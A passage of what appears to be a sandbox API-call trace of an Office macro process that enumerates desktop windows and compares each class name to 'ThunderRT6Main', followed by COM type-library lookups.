hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0090.759] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0090.759] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.759] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0090.759] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0090.759] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0090.759] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0090.759] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0090.759] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.759] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0090.760] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0090.760] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0090.760] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0090.760] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0090.760] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0090.760] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0090.760] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0090.760] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0090.760] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0090.760] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0090.760] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0090.760] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0090.760] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0090.760] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0090.760] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0090.760] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0090.760] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.760] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.760] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0090.760] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0090.760] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0090.761] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0090.761] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0090.761] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.761] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0090.761] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0090.761] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0090.761] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0090.761] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0090.761] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.761] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0090.761] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0090.761] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.761] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0090.761] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0090.761] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.761] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0090.761] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0090.761] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0090.761] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0090.761] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.762] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0090.762] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.762] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.762] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0090.762] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.762] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0090.762] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0090.762] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.762] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.762] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0090.762] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0090.762] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.762] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0090.762] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0090.762] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.762] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0090.762] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.762] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.762] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.762] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0090.763] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.763] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.763] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0090.763] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.763] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.763] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0090.763] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0090.763] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.763] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0090.763] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0090.763] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.763] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0090.763] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.763] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0090.763] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0090.763] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.763] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.763] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.763] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0090.763] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.763] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.764] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.764] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0090.764] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0090.764] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0090.764] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.764] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0090.764] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0090.764] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.765] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0090.765] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0090.765] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0090.765] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0090.765] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.765] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0090.765] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0090.765] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0090.765] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0090.765] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0090.765] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.765] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0090.765] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0090.765] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0090.765] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0090.765] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0090.765] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0090.765] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0090.765] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.765] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0090.766] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0090.766] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.766] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0090.766] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.766] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.766] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0090.766] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0090.766] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0090.766] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0090.766] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0090.766] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0090.766] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0090.766] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.766] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0090.766] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0090.766] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.766] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.766] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0090.766] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0090.766] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0090.767] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0090.767] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0090.767] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0090.767] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0090.767] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0090.767] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0090.767] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0090.767] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6114a90 [0090.768] IMalloc:Free (This=0x7fefe465380, pv=0x6114a90) [0090.956] strncpy_s (in: _Dst=0x6113790, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0090.956] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0090.956] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0090.956] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0090.956] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0090.956] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0090.957] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0090.957] IUnknown:Release (This=0x679bb90) returned 0x15 [0090.957] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0090.957] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0090.957] IUnknown:Release (This=0x5a48630) returned 0x12 [0090.957] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0090.957] IUnknown:AddRef (This=0x679c130) returned 0x9 [0090.957] IUnknown:Release (This=0x679c130) returned 0x8 [0090.957] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0090.957] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0090.957] IUnknown:Release (This=0x679c6d0) returned 0x6 [0093.612] GetCurrentThreadId () returned 0xa30 [0093.612] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0093.612] GetDesktopWindow () returned 0x10010 [0093.612] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0093.612] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0093.612] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0093.612] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.612] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0093.612] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.612] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.612] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.612] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0093.612] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.612] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.612] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.612] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0093.612] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.612] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.612] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.612] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0093.612] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.612] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.612] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.612] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0093.612] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.612] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0093.613] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.613] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0093.613] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.613] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0093.613] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0093.613] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0093.613] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.613] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0093.613] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0093.613] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0093.613] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.613] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0093.613] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0093.613] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0093.613] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0093.613] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0093.613] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.614] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.614] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0093.614] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0093.614] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0093.614] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0093.614] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0093.614] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0093.614] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.614] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: 